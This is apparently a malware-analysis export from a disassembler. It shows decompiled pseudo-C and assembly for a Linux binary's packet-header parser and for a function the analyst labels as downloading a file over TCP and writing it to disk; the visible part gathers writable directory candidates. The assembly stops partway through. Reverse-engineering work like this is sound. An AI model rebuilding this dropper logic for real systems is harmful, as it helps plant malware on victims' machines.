FUN_0040b0fb(long param_1,ulong param_2,undefined1 *param_3,long *param_4,undefined2 *param_5)

{
  int iVar1;
  undefined8 uVar2;
  undefined1 uVar3;
  undefined1 uVar4;
  
  if ((param_1 != 0) && (6 < param_2)) {
    iVar1 = FUN_0040b0b8();
    uVar2 = 0xffffffff;
    if (iVar1 != 0) {
      uVar3 = (undefined1)*(undefined2 *)(param_1 + 5);
      uVar4 = (undefined1)((ushort)*(undefined2 *)(param_1 + 5) >> 8);
      uVar2 = 0xffffffff;
      if ((CONCAT11(uVar3,uVar4) < 0x1001) &&
         (uVar2 = 0, (CONCAT11(uVar3,uVar4) + 7 & 0xffff) <= param_2)) {
        if (param_3 != (undefined1 *)0x0) {
          *param_3 = *(undefined1 *)(param_1 + 4);
        }
        if (param_5 != (undefined2 *)0x0) {
          *param_5 = CONCAT11(uVar3,uVar4);
        }
        uVar2 = 1;
        if (param_4 != (long *)0x0) {
          *param_4 = param_1 + 7;
        }
      }
    }
    return uVar2;
  }
  return 0;
}

Assembly · 38 instructions, 0 annotated

Address	Bytes	Instruction
0040b0fb	48 85 ff	TEST RDI,RDI
0040b0fe	74 5f	JZ LAB_0040b15f
0040b100	48 83 fe 06	CMP RSI,0x6
0040b104	76 59	JBE LAB_0040b15f
0040b106	41 54	PUSH R12
0040b108	49 89 d3	MOV R11,RDX
0040b10b	49 89 ca	MOV R10,RCX
0040b10e	e8 a5 ff ff ff	CALL FUN_0040b0b8
0040b113	41 89 c4	MOV R12D,EAX
0040b116	83 c8 ff	OR EAX,0xffffffff
0040b119	45 85 e4	TEST R12D,R12D
0040b11c	74 44	JZ LAB_0040b162
0040b11e	66 8b 57 05	MOV DX,word ptr [RDI + 0x5]
0040b122	86 f2	XCHG DL,DH
0040b124	66 81 fa 00 10	CMP DX,0x1000
0040b129	77 37	JA LAB_0040b162
0040b12b	8d 4a 07	LEA ECX,[RDX + 0x7]
0040b12e	31 c0	XOR EAX,EAX
0040b130	0f b7 c9	MOVZX ECX,CX
0040b133	48 39 f1	CMP RCX,RSI
0040b136	77 2a	JA LAB_0040b162
0040b138	4d 85 db	TEST R11,R11
0040b13b	74 06	JZ LAB_0040b143
0040b13d	8a 47 04	MOV AL,byte ptr [RDI + 0x4]
0040b140	41 88 03	MOV byte ptr [R11],AL
LAB_0040b143:
0040b143	4d 85 c0	TEST R8,R8
0040b146	74 04	JZ LAB_0040b14c
0040b148	66 41 89 10	MOV word ptr [R8],DX
LAB_0040b14c:
0040b14c	b8 01 00 00 00	MOV EAX,0x1
0040b151	4d 85 d2	TEST R10,R10
0040b154	74 0c	JZ LAB_0040b162
0040b156	48 83 c7 07	ADD RDI,0x7
0040b15a	49 89 3a	MOV qword ptr [R10],RDI
0040b15d	eb 03	JMP LAB_0040b162
LAB_0040b15f:
0040b15f	31 c0	XOR EAX,EAX
0040b161	c3	RET
LAB_0040b162:
0040b162	41 5c	POP R12
0040b164	c3	RET

downloads a file over a TCP request and…

0x40b89c2893 bytes

undefined FUN_0040b89c()

downloads a file over a TCP request and writes it to disk

Cited as: E13
Behaviours: B9
Called from: FUN_0040c42a
Calls: FUN_0040b1d8, FUN_0040b20e, FUN_0040b22d, FUN_0040b255, FUN_0040b3ad, FUN_0040b581, FUN_0040b80d, FUN_0040cf8f, FUN_00414172, FUN_004143a1, FUN_00417a9c, FUN_00417dc5, thunk_FUN_004183e7, FUN_00419689, FUN_00419b0d, FUN_0041b0ec, FUN_0041bba3, FUN_0041bc03, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c7c9, FUN_0041cad4, FUN_0041cd50, FUN_0041ce60

Decompiled C · 289 lines

/* WARNING: Removing unreachable block (ram,0x0040bd10) */
/* WARNING: Removing unreachable block (ram,0x0040bd18) */
/* WARNING: Removing unreachable block (ram,0x0040bd29) */
/* WARNING: Removing unreachable block (ram,0x0040bd33) */
/* WARNING: Removing unreachable block (ram,0x0040bd54) */
/* WARNING: Removing unreachable block (ram,0x0040bd6d) */
/* WARNING: Removing unreachable block (ram,0x0040bd82) */
/* WARNING: Removing unreachable block (ram,0x0040bda0) */
/* WARNING: Removing unreachable block (ram,0x0040bdbc) */
/* WARNING: Removing unreachable block (ram,0x0040bde2) */
/* WARNING: Removing unreachable block (ram,0x0040bdf8) */
/* WARNING: Removing unreachable block (ram,0x0040bdfd) */
/* WARNING: Removing unreachable block (ram,0x0040be14) */
/* WARNING: Removing unreachable block (ram,0x0040be6e) */
/* WARNING: Removing unreachable block (ram,0x0040beeb) */
/* WARNING: Removing unreachable block (ram,0x0040bf05) */
/* WARNING: Removing unreachable block (ram,0x0040bf21) */
/* WARNING: Removing unreachable block (ram,0x0040bf2d) */
/* WARNING: Removing unreachable block (ram,0x0040bf47) */
/* WARNING: Removing unreachable block (ram,0x0040bf7c) */
/* WARNING: Removing unreachable block (ram,0x0040c161) */
/* WARNING: Removing unreachable block (ram,0x0040c199) */
/* WARNING: Removing unreachable block (ram,0x0040c1a6) */
/* WARNING: Removing unreachable block (ram,0x0040c1ac) */
/* WARNING: Removing unreachable block (ram,0x0040bf88) */
/* WARNING: Removing unreachable block (ram,0x0040c1c3) */
/* WARNING: Removing unreachable block (ram,0x0040c1d7) */
/* WARNING: Removing unreachable block (ram,0x0040c1e2) */
/* WARNING: Removing unreachable block (ram,0x0040c1f5) */
/* WARNING: Removing unreachable block (ram,0x0040c215) */
/* WARNING: Removing unreachable block (ram,0x0040c21c) */
/* WARNING: Removing unreachable block (ram,0x0040c223) */
/* WARNING: Removing unreachable block (ram,0x0040c22a) */
/* WARNING: Removing unreachable block (ram,0x0040bf9e) */
/* WARNING: Removing unreachable block (ram,0x0040bfaf) */
/* WARNING: Removing unreachable block (ram,0x0040bfb1) */
/* WARNING: Removing unreachable block (ram,0x0040bfcf) */
/* WARNING: Removing unreachable block (ram,0x0040bfe3) */
/* WARNING: Removing unreachable block (ram,0x0040bffd) */
/* WARNING: Removing unreachable block (ram,0x0040c005) */
/* WARNING: Removing unreachable block (ram,0x0040c017) */
/* WARNING: Removing unreachable block (ram,0x0040c021) */
/* WARNING: Removing unreachable block (ram,0x0040c03c) */
/* WARNING: Removing unreachable block (ram,0x0040c048) */
/* WARNING: Removing unreachable block (ram,0x0040c05a) */
/* WARNING: Removing unreachable block (ram,0x0040c05f) */
/* WARNING: Removing unreachable block (ram,0x0040c06a) */
/* WARNING: Removing unreachable block (ram,0x0040c06f) */
/* WARNING: Removing unreachable block (ram,0x0040c071) */
/* WARNING: Removing unreachable block (ram,0x0040c085) */
/* WARNING: Removing unreachable block (ram,0x0040c088) */
/* WARNING: Removing unreachable block (ram,0x0040c092) */
/* WARNING: Removing unreachable block (ram,0x0040c095) */
/* WARNING: Removing unreachable block (ram,0x0040c099) */
/* WARNING: Removing unreachable block (ram,0x0040c0a1) */
/* WARNING: Removing unreachable block (ram,0x0040c0a5) */
/* WARNING: Removing unreachable block (ram,0x0040c0b0) */
/* WARNING: Removing unreachable block (ram,0x0040c0ab) */
/* WARNING: Removing unreachable block (ram,0x0040c0b4) */
/* WARNING: Removing unreachable block (ram,0x0040c0bd) */
/* WARNING: Removing unreachable block (ram,0x0040c0cb) */
/* WARNING: Removing unreachable block (ram,0x0040c0d5) */
/* WARNING: Removing unreachable block (ram,0x0040c0d8) */
/* WARNING: Removing unreachable block (ram,0x0040c0ee) */
/* WARNING: Removing unreachable block (ram,0x0040c107) */
/* WARNING: Removing unreachable block (ram,0x0040c111) */
/* WARNING: Removing unreachable block (ram,0x0040c11b) */
/* WARNING: Removing unreachable block (ram,0x0040c125) */
/* WARNING: Removing unreachable block (ram,0x0040c138) */
/* WARNING: Removing unreachable block (ram,0x0040c155) */
/* WARNING: Removing unreachable block (ram,0x0040c1b3) */
/* WARNING: Removing unreachable block (ram,0x0040c185) */
/* WARNING: Removing unreachable block (ram,0x0040c235) */
/* WARNING: Removing unreachable block (ram,0x0040c1b9) */
/* WARNING: Removing unreachable block (ram,0x0040be5a) */
/* WARNING: Removing unreachable block (ram,0x0040be61) */
/* WARNING: Removing unreachable block (ram,0x0040c23e) */
/* WARNING: Removing unreachable block (ram,0x0040c247) */

undefined4 FUN_0040b89c(undefined8 param_1,char *param_2)

{
  int *piVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  long lVar7;
  undefined1 *puVar8;
  undefined1 *puVar9;
  undefined1 *puVar10;
  undefined4 *puVar11;
  char *pcVar12;
  undefined4 *puVar13;
  char *pcVar14;
  undefined4 *puVar15;
  undefined4 *puVar16;
  byte bVar17;
  undefined1 auStack_433bc [64];
  char acStack_4337c [63];
  undefined1 uStack_4333d;
  undefined1 auStack_4333c [2];
  char cStack_4333a;
  undefined1 uStack_4323d;
  undefined1 auStack_4313c [4096];
  char acStack_4213c [4095];
  undefined1 uStack_4113d;
  undefined4 auStack_4013c [65603];
  
  bVar17 = 0;
  for (; *param_2 == '/'; param_2 = param_2 + 1) {
  }
  if ((*param_2 != '\0') && (iVar2 = FUN_0041c7c9(auStack_433bc,0x40,&DAT_00426e40), iVar2 < 0x40))
  {
    pcVar12 = "~\x01";
    do {
      lVar4 = FUN_0040b1d8(*(undefined4 *)pcVar12);
      if (((lVar4 != 0) && (pcVar5 = (char *)FUN_00417a9c(lVar4), pcVar5 != (char *)0x0)) &&
         (*pcVar5 == '/')) {
        iVar2 = FUN_0040b255(pcVar5);
        FUN_0040b581(auStack_4013c,pcVar5,iVar2 + 0x32);
      }
      pcVar12 = pcVar12 + 4;
    } while (pcVar12 != "x86_64");
    pcVar12 = (char *)FUN_00417a9c(&DAT_00426ea9);
    if ((pcVar12 != (char *)0x0) && (*pcVar12 == '/')) {
      iVar2 = FUN_0040b255(pcVar12);
      FUN_0040b581(auStack_4013c,pcVar12,iVar2 + 0x32);
    }
    lVar4 = FUN_0040b1d8(0x15a);
    if (lVar4 != 0) {
      FUN_0040b581(auStack_4013c,lVar4,100);
    }
    lVar4 = FUN_0040b1d8(0x15b);
    lVar6 = FUN_0040b1d8(0x15a);
    pcVar12 = (char *)FUN_0040b22d();
    if ((((lVar4 != 0) && (pcVar5 = (char *)FUN_00417a9c(lVar4), pcVar5 != (char *)0x0)) &&
        ((*pcVar5 == '/' && ((pcVar12 != (char *)0x0 && (*pcVar12 != '\0')))))) &&
       ((lVar6 == 0 || (iVar2 = FUN_0041ce60(pcVar5,lVar6), iVar2 != 0)))) {
      lVar6 = FUN_0041cf00(pcVar5);
      lVar7 = FUN_0041cf00(pcVar12);
      lVar4 = lVar6 + lVar7;
      if (lVar4 + 1U < 0x1001) {
        pcVar14 = acStack_4213c;
        for (; lVar6 != 0; lVar6 = lVar6 + -1) {
          *pcVar14 = *pcVar5;
          pcVar5 = pcVar5 + (ulong)bVar17 * -2 + 1;
          pcVar14 = pcVar14 + (ulong)bVar17 * -2 + 1;
        }
        for (; lVar7 != 0; lVar7 = lVar7 + -1) {
          *pcVar14 = *pcVar12;
          pcVar12 = pcVar12 + (ulong)bVar17 * -2 + 1;
          pcVar14 = pcVar14 + (ulong)bVar17 * -2 + 1;
        }
        acStack_4213c[lVar4] = '\0';
        FUN_0040b581(auStack_4013c,acStack_4213c,0x5f);
      }
    }
    lVar4 = FUN_0040cf8f();
    if (lVar4 != 0) {
      FUN_0041d050(acStack_4213c,lVar4,0xfff);
      uStack_4113d = 0;
      thunk_FUN_004183e7(lVar4);
      pcVar12 = (char *)FUN_0041d090(acStack_4213c,0x2f);
      if (pcVar12 != (char *)0x0) {
        if (pcVar12 == acStack_4213c) {
          FUN_0041d050(acStack_4213c,&DAT_00424e60,0xfff);
        }
        else {
          *pcVar12 = '\0';
        }
        iVar2 = FUN_0040b255(acStack_4213c);
        FUN_0040b581(auStack_4013c,acStack_4213c,iVar2 + 0x2d);
      }
    }
    lVar4 = FUN_0040b1d8(0x15d);
    if ((lVar4 != 0) && (lVar4 = FUN_0041c633(lVar4,&DAT_00424f7e), lVar4 != 0)) {
LAB_0040bb20:
      lVar6 = FUN_0041c4d7(auStack_4313c,0x400,lVar4);
      if (lVar6 != 0) {
        puVar8 = (undefined1 *)FUN_0041cd50(auStack_4313c,0x20);
        if (puVar8 != (undefined1 *)0x0) {
          *puVar8 = 0;
          puVar9 = (undefined1 *)FUN_0041cd50(puVar8 + 1,0x20);
          if (puVar9 != (undefined1 *)0x0) {
            *puVar9 = 0;
            puVar10 = (undefined1 *)FUN_0041cd50(puVar9 + 1,0x20);
            if (puVar10 != (undefined1 *)0x0) {
              *puVar10 = 0;
              FUN_0041d050(acStack_4213c,puVar8 + 1,0xfff);
              uStack_4113d = 0;
              FUN_0041d050(acStack_4337c,puVar9 + 1,0x3f);
              uStack_4333d = 0;
              FUN_0041d050(auStack_4333c,puVar10 + 1,0xff);
              uStack_4323d = 0;
              puVar8 = (undefined1 *)FUN_0041cd50(auStack_4333c,10);
              if (puVar8 != (undefined1 *)0x0) {
                *puVar8 = 0;
              }
              puVar8 = (undefined1 *)FUN_0041cd50(auStack_4333c,0x20);
              if (puVar8 != (undefined1 *)0x0) {
                *puVar8 = 0;
              }
              if (((acStack_4337c[0] != '\0') &&
                  (iVar2 = FUN_0041ce60(acStack_4337c,&DAT_00426ea4), iVar2 != 0)) &&
                 (iVar2 = FUN_0041ce60(acStack_4337c,&DAT_00426ea0), iVar2 != 0)) {
                puVar16 = &DAT_00426e60;
                do {
                  iVar2 = FUN_0040b20e(*puVar16,acStack_4337c);
                  if (iVar2 != 0) goto LAB_0040bb20;
                  puVar16 = puVar16 + 1;
                } while (puVar16 != (undefined4 *)&DAT_00426ea0);
                if (((acStack_4213c[0] != '\0') &&
                    (iVar2 = FUN_0040b20e(0x15e,acStack_4213c), iVar2 == 0)) &&
                   ((iVar2 = FUN_0040b20e(0x162,acStack_4213c), iVar2 == 0 &&
                    (iVar2 = FUN_0040b20e(0x163,acStack_4213c), iVar2 == 0)))) {
                  lVar6 = FUN_0040b1d8(0x169);
                  lVar7 = FUN_0040b1d8(0x16a);
                  pcVar12 = (char *)FUN_0040b1d8(0x16b);
                  if (((lVar6 == 0) || (lVar6 = FUN_0041d540(auStack_4333c), lVar6 == 0)) &&
                     ((lVar7 == 0 || (lVar6 = FUN_0041d540(auStack_4333c,lVar7), lVar6 == 0)))) {
                    if ((pcVar12 != (char *)0x0) && (*pcVar12 == ',')) {
                      iVar2 = FUN_0041ce60(auStack_4333c,pcVar12 + 1);
                      if ((iVar2 == 0) ||
                         ((iVar2 = FUN_0041cfd0(auStack_4333c,pcVar12 + 1,2), iVar2 == 0 &&
                          (cStack_4333a == ',')))) goto LAB_0040bb20;
                    }
                    lVar6 = FUN_0041d540(auStack_4333c,&DAT_00426e44);
                    if ((lVar6 != 0) ||
                       ((((lVar6 = FUN_0041d540(auStack_4333c,&DAT_00426e48), lVar6 != 0 ||
                          (iVar2 = FUN_0041cfd0(auStack_4333c,&DAT_00426e48,3), iVar2 == 0)) ||
                         (pcVar12 == (char *)0x0)) ||
                        ((*pcVar12 != ',' ||
                         (lVar6 = FUN_0041d540(auStack_4333c,pcVar12 + 1), lVar6 == 0)))))) {
                      iVar2 = FUN_0040b20e(0x17d,acStack_4337c);
                      iVar3 = FUN_0040b255(acStack_4213c);
                      FUN_0040b581(auStack_4013c,acStack_4213c,
                                   iVar3 + (-(uint)(iVar2 == 0) & 0xffffffce) + 0x50);
                    }
                  }
                }
              }
            }
          }
        }
        goto LAB_0040bb20;
      }
      FUN_0041c306(lVar4);
    }
    puVar16 = auStack_4013c;
    iVar2 = 0;
    while (iVar2 < -1) {
      iVar2 = iVar2 + 1;
      puVar11 = puVar16;
      for (iVar3 = iVar2; iVar3 != 0; iVar3 = iVar3 + 1) {
        piVar1 = puVar11 + 0x801;
        puVar11 = puVar11 + 0x401;
        if ((int)puVar16[0x400] < *piVar1) {
          puVar13 = puVar16;
          pcVar12 = acStack_4213c;
          for (lVar4 = 0x401; lVar4 != 0; lVar4 = lVar4 + -1) {
            *(undefined4 *)pcVar12 = *puVar13;
            puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
            pcVar12 = pcVar12 + ((ulong)bVar17 * -2 + 1) * 4;
          }
          puVar13 = puVar11;
          puVar15 = puVar16;
          for (lVar4 = 0x401; lVar4 != 0; lVar4 = lVar4 + -1) {
            *puVar15 = *puVar13;
            puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
            puVar15 = puVar15 + (ulong)bVar17 * -2 + 1;
          }
          pcVar12 = acStack_4213c;
          puVar13 = puVar11;
          for (lVar4 = 0x401; lVar4 != 0; lVar4 = lVar4 + -1) {
            *puVar13 = *(undefined4 *)pcVar12;
            pcVar12 = pcVar12 + ((ulong)bVar17 * -2 + 1) * 4;
            puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
          }
        }
      }
      puVar16 = puVar16 + 0x401;
    }
  }
  return 0xffffffff;
}

Assembly · 726 instructions, 2 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040b89c	41 57	PUSH R15	; E13
0040b89e	48 89 f1	MOV RCX,RSI
0040b8a1	41 56	PUSH R14
0040b8a3	41 55	PUSH R13
0040b8a5	41 54	PUSH R12
0040b8a7	55	PUSH RBP
0040b8a8	53	PUSH RBX
0040b8a9	48 81 ec d8 33 04 00	SUB RSP,0x433d8
0040b8b0	48 89 7c 24 28	MOV qword ptr [RSP + 0x28],RDI
0040b8b5	48 89 74 24 30	MOV qword ptr [RSP + 0x30],RSI
0040b8ba	48 89 14 24	MOV qword ptr [RSP],RDX
LAB_0040b8be:
0040b8be	8a 01	MOV AL,byte ptr [RCX]
0040b8c0	3c 2f	CMP AL,0x2f
0040b8c2	75 05	JNZ LAB_0040b8c9
0040b8c4	48 ff c1	INC RCX
0040b8c7	eb f5	JMP LAB_0040b8be
LAB_0040b8c9:
0040b8c9	84 c0	TEST AL,AL
0040b8cb	75 0d	JNZ LAB_0040b8da
LAB_0040b8cd:
0040b8cd	c7 44 24 20 ff ff ff ff	MOV dword ptr [RSP + 0x20],0xffffffff
0040b8d5	e9 f9 0a 00 00	JMP LAB_0040c3d3
LAB_0040b8da:
0040b8da	31 c0	XOR EAX,EAX
0040b8dc	48 8d 7c 24 4c	LEA RDI,[RSP + 0x4c]
0040b8e1	be 40 00 00 00	MOV ESI,0x40
0040b8e6	48 8d 15 53 b5 01 00	LEA RDX,[DAT_00426e40]
0040b8ed	e8 d7 0e 01 00	CALL FUN_0041c7c9
0040b8f2	83 f8 3f	CMP EAX,0x3f
0040b8f5	7f d6	JG LAB_0040b8cd
0040b8f7	48 8d 1d b2 b5 01 00	LEA RBX,[DAT_00426eb0]
0040b8fe	4c 8d a4 24 cc 32 00 00	LEA R12,[RSP + 0x32cc]
0040b906	c7 84 24 cc 33 04 00 00 …	MOV dword ptr [RSP + local_3c],0x0
0040b911	48 8d 6b 14	LEA RBP,[RBX + 0x14]	; "x86_64"
LAB_0040b915:
0040b915	8b 3b	MOV EDI,dword ptr [RBX]
0040b917	e8 bc f8 ff ff	CALL FUN_0040b1d8
0040b91c	48 89 c7	MOV RDI,RAX
0040b91f	48 85 c0	TEST RAX,RAX
0040b922	74 28	JZ LAB_0040b94c
0040b924	e8 73 c1 00 00	CALL FUN_00417a9c
0040b929	49 89 c5	MOV R13,RAX
0040b92c	48 85 c0	TEST RAX,RAX
0040b92f	74 1b	JZ LAB_0040b94c
0040b931	80 38 2f	CMP byte ptr [RAX],0x2f
0040b934	75 16	JNZ LAB_0040b94c
0040b936	48 89 c7	MOV RDI,RAX
0040b939	e8 17 f9 ff ff	CALL FUN_0040b255
0040b93e	4c 89 ee	MOV RSI,R13
0040b941	4c 89 e7	MOV RDI,R12
0040b944	8d 50 32	LEA EDX,[RAX + 0x32]
0040b947	e8 35 fc ff ff	CALL FUN_0040b581
LAB_0040b94c:
0040b94c	48 83 c3 04	ADD RBX,0x4
0040b950	48 39 dd	CMP RBP,RBX
0040b953	75 c0	JNZ LAB_0040b915
0040b955	48 8d 3d 4d b5 01 00	LEA RDI,[DAT_00426ea9]
0040b95c	e8 3b c1 00 00	CALL FUN_00417a9c
0040b961	48 89 c5	MOV RBP,RAX
0040b964	48 85 c0	TEST RAX,RAX
0040b967	74 20	JZ LAB_0040b989
0040b969	80 38 2f	CMP byte ptr [RAX],0x2f
0040b96c	75 1b	JNZ LAB_0040b989
0040b96e	48 89 c7	MOV RDI,RAX
0040b971	e8 df f8 ff ff	CALL FUN_0040b255
0040b976	48 8d bc 24 cc 32 00 00	LEA RDI,[RSP + 0x32cc]
0040b97e	48 89 ee	MOV RSI,RBP
0040b981	8d 50 32	LEA EDX,[RAX + 0x32]
0040b984	e8 f8 fb ff ff	CALL FUN_0040b581
LAB_0040b989:
0040b989	bf 5a 01 00 00	MOV EDI,0x15a
0040b98e	e8 45 f8 ff ff	CALL FUN_0040b1d8
0040b993	48 89 c6	MOV RSI,RAX
0040b996	48 85 c0	TEST RAX,RAX
0040b999	74 12	JZ LAB_0040b9ad
0040b99b	48 8d bc 24 cc 32 00 00	LEA RDI,[RSP + 0x32cc]
0040b9a3	ba 64 00 00 00	MOV EDX,0x64
0040b9a8	e8 d4 fb ff ff	CALL FUN_0040b581
LAB_0040b9ad:
0040b9ad	bf 5b 01 00 00	MOV EDI,0x15b
0040b9b2	e8 21 f8 ff ff	CALL FUN_0040b1d8
0040b9b7	bf 5a 01 00 00	MOV EDI,0x15a
0040b9bc	48 89 c5	MOV RBP,RAX
0040b9bf	e8 14 f8 ff ff	CALL FUN_0040b1d8
0040b9c4	49 89 c5	MOV R13,RAX
0040b9c7	e8 61 f8 ff ff	CALL FUN_0040b22d
0040b9cc	49 89 c4	MOV R12,RAX
0040b9cf	48 85 ed	TEST RBP,RBP
0040b9d2	0f 84 98 00 00 00	JZ LAB_0040ba70
0040b9d8	48 89 ef	MOV RDI,RBP
0040b9db	e8 bc c0 00 00	CALL FUN_00417a9c
0040b9e0	48 89 c5	MOV RBP,RAX
0040b9e3	48 85 c0	TEST RAX,RAX
0040b9e6	0f 84 84 00 00 00	JZ LAB_0040ba70
0040b9ec	80 38 2f	CMP byte ptr [RAX],0x2f
0040b9ef	75 7f	JNZ LAB_0040ba70
0040b9f1	4d 85 e4	TEST R12,R12
0040b9f4	74 7a	JZ LAB_0040ba70
0040b9f6	41 80 3c 24 00	CMP byte ptr [R12],0x0
0040b9fb	74 73	JZ LAB_0040ba70
0040b9fd	4d 85 ed	TEST R13,R13
0040ba00	74 0f	JZ LAB_0040ba11
0040ba02	4c 89 ee	MOV RSI,R13
0040ba05	48 89 c7	MOV RDI,RAX
0040ba08	e8 53 14 01 00	CALL FUN_0041ce60
0040ba0d	85 c0	TEST EAX,EAX
0040ba0f	74 5f	JZ LAB_0040ba70
LAB_0040ba11:
0040ba11	48 89 ef	MOV RDI,RBP
0040ba14	e8 e7 14 01 00	CALL FUN_0041cf00
0040ba19	4c 89 e7	MOV RDI,R12
0040ba1c	48 89 c3	MOV RBX,RAX
0040ba1f	e8 dc 14 01 00	CALL FUN_0041cf00
0040ba24	48 89 c2	MOV RDX,RAX
0040ba27	48 8d 04 03	LEA RAX,[RBX + RAX*0x1]
0040ba2b	48 8d 48 01	LEA RCX,[RAX + 0x1]
0040ba2f	48 81 f9 00 10 00 00	CMP RCX,0x1000
0040ba36	77 38	JA LAB_0040ba70
0040ba38	4c 8d 84 24 cc 12 00 00	LEA R8,[RSP + 0x12cc]
0040ba40	48 89 ee	MOV RSI,RBP
0040ba43	48 89 d9	MOV RCX,RBX
0040ba46	4c 89 c7	MOV RDI,R8
0040ba49	f3 a4	MOVSB.REP RDI,RSI
0040ba4b	48 89 d1	MOV RCX,RDX
0040ba4e	4c 89 e6	MOV RSI,R12
0040ba51	ba 5f 00 00 00	MOV EDX,0x5f
0040ba56	f3 a4	MOVSB.REP RDI,RSI
0040ba58	48 8d bc 24 cc 32 00 00	LEA RDI,[RSP + 0x32cc]
0040ba60	4c 89 c6	MOV RSI,R8
0040ba63	c6 84 04 cc 12 00 00 00	MOV byte ptr [RSP + RAX*0x1 + 0x12cc],0x0
0040ba6b	e8 11 fb ff ff	CALL FUN_0040b581
LAB_0040ba70:
0040ba70	31 c0	XOR EAX,EAX
0040ba72	e8 18 15 00 00	CALL FUN_0040cf8f
0040ba77	49 89 c4	MOV R12,RAX
0040ba7a	48 85 c0	TEST RAX,RAX
0040ba7d	74 73	JZ LAB_0040baf2
0040ba7f	48 8d ac 24 cc 12 00 00	LEA RBP,[RSP + 0x12cc]
0040ba87	48 89 c6	MOV RSI,RAX
0040ba8a	ba ff 0f 00 00	MOV EDX,0xfff
0040ba8f	48 89 ef	MOV RDI,RBP
0040ba92	e8 b9 15 01 00	CALL FUN_0041d050
0040ba97	4c 89 e7	MOV RDI,R12
0040ba9a	c6 84 24 cb 22 00 00 00	MOV byte ptr [RSP + 0x22cb],0x0
0040baa2	e8 59 c5 00 00	CALL thunk_FUN_004183e7
0040baa7	be 2f 00 00 00	MOV ESI,0x2f
0040baac	48 89 ef	MOV RDI,RBP
0040baaf	e8 dc 15 01 00	CALL FUN_0041d090
0040bab4	48 85 c0	TEST RAX,RAX
0040bab7	74 39	JZ LAB_0040baf2
0040bab9	48 39 e8	CMP RAX,RBP
0040babc	75 16	JNZ LAB_0040bad4
0040babe	ba ff 0f 00 00	MOV EDX,0xfff
0040bac3	48 8d 35 96 93 01 00	LEA RSI,[DAT_00424e60]
0040baca	48 89 ef	MOV RDI,RBP
0040bacd	e8 7e 15 01 00	CALL FUN_0041d050
0040bad2	eb 03	JMP LAB_0040bad7
LAB_0040bad4:
0040bad4	c6 00 00	MOV byte ptr [RAX],0x0
LAB_0040bad7:
0040bad7	48 89 ef	MOV RDI,RBP
0040bada	e8 76 f7 ff ff	CALL FUN_0040b255
0040badf	48 8d bc 24 cc 32 00 00	LEA RDI,[RSP + 0x32cc]
0040bae7	48 89 ee	MOV RSI,RBP
0040baea	8d 50 2d	LEA EDX,[RAX + 0x2d]
0040baed	e8 8f fa ff ff	CALL FUN_0040b581
LAB_0040baf2:
0040baf2	bf 5d 01 00 00	MOV EDI,0x15d
0040baf7	e8 dc f6 ff ff	CALL FUN_0040b1d8
0040bafc	48 89 c7	MOV RDI,RAX
0040baff	48 85 c0	TEST RAX,RAX
0040bb02	0f 84 7e 01 00 00	JZ LAB_0040bc86
0040bb08	48 8d 35 6f 94 01 00	LEA RSI,[DAT_00424f7e]
0040bb0f	e8 1f 0b 01 00	CALL FUN_0041c633
0040bb14	49 89 c5	MOV R13,RAX
0040bb17	48 85 c0	TEST RAX,RAX
0040bb1a	0f 84 66 01 00 00	JZ LAB_0040bc86
LAB_0040bb20:
0040bb20	48 8d ac 24 cc 02 00 00	LEA RBP,[RSP + 0x2cc]
0040bb28	4c 89 ea	MOV RDX,R13
0040bb2b	be 00 04 00 00	MOV ESI,0x400
0040bb30	48 89 ef	MOV RDI,RBP
0040bb33	e8 9f 09 01 00	CALL FUN_0041c4d7
0040bb38	48 85 c0	TEST RAX,RAX
0040bb3b	0f 84 3d 01 00 00	JZ LAB_0040bc7e
0040bb41	be 20 00 00 00	MOV ESI,0x20
0040bb46	48 89 ef	MOV RDI,RBP
0040bb49	e8 02 12 01 00	CALL FUN_0041cd50
0040bb4e	48 85 c0	TEST RAX,RAX
0040bb51	74 cd	JZ LAB_0040bb20
0040bb53	c6 00 00	MOV byte ptr [RAX],0x0
0040bb56	4c 8d 70 01	LEA R14,[RAX + 0x1]
0040bb5a	be 20 00 00 00	MOV ESI,0x20
0040bb5f	4c 89 f7	MOV RDI,R14
0040bb62	e8 e9 11 01 00	CALL FUN_0041cd50
0040bb67	48 85 c0	TEST RAX,RAX
0040bb6a	74 b4	JZ LAB_0040bb20
0040bb6c	c6 00 00	MOV byte ptr [RAX],0x0
0040bb6f	48 8d 68 01	LEA RBP,[RAX + 0x1]
0040bb73	be 20 00 00 00	MOV ESI,0x20
0040bb78	48 89 ef	MOV RDI,RBP
0040bb7b	e8 d0 11 01 00	CALL FUN_0041cd50
0040bb80	48 89 c3	MOV RBX,RAX
0040bb83	48 85 c0	TEST RAX,RAX
0040bb86	74 98	JZ LAB_0040bb20
0040bb88	c6 00 00	MOV byte ptr [RAX],0x0
0040bb8b	4c 8d a4 24 cc 12 00 00	LEA R12,[RSP + 0x12cc]
0040bb93	4c 89 f6	MOV RSI,R14
0040bb96	ba ff 0f 00 00	MOV EDX,0xfff
0040bb9b	4c 89 e7	MOV RDI,R12
0040bb9e	4c 8d b4 24 8c 00 00 00	LEA R14,[RSP + 0x8c]
0040bba6	e8 a5 14 01 00	CALL FUN_0041d050
0040bbab	48 89 ee	MOV RSI,RBP
0040bbae	ba 3f 00 00 00	MOV EDX,0x3f
0040bbb3	4c 89 f7	MOV RDI,R14
0040bbb6	48 8d ac 24 cc 00 00 00	LEA RBP,[RSP + 0xcc]
0040bbbe	c6 84 24 cb 22 00 00 00	MOV byte ptr [RSP + 0x22cb],0x0
0040bbc6	e8 85 14 01 00	CALL FUN_0041d050
0040bbcb	48 8d 73 01	LEA RSI,[RBX + 0x1]
0040bbcf	48 89 ef	MOV RDI,RBP
0040bbd2	ba ff 00 00 00	MOV EDX,0xff
0040bbd7	c6 84 24 cb 00 00 00 00	MOV byte ptr [RSP + 0xcb],0x0
0040bbdf	e8 6c 14 01 00	CALL FUN_0041d050
0040bbe4	be 0a 00 00 00	MOV ESI,0xa
0040bbe9	48 89 ef	MOV RDI,RBP
0040bbec	c6 84 24 cb 01 00 00 00	MOV byte ptr [RSP + 0x1cb],0x0
0040bbf4	e8 57 11 01 00	CALL FUN_0041cd50
0040bbf9	48 85 c0	TEST RAX,RAX
0040bbfc	74 03	JZ LAB_0040bc01
0040bbfe	c6 00 00	MOV byte ptr [RAX],0x0
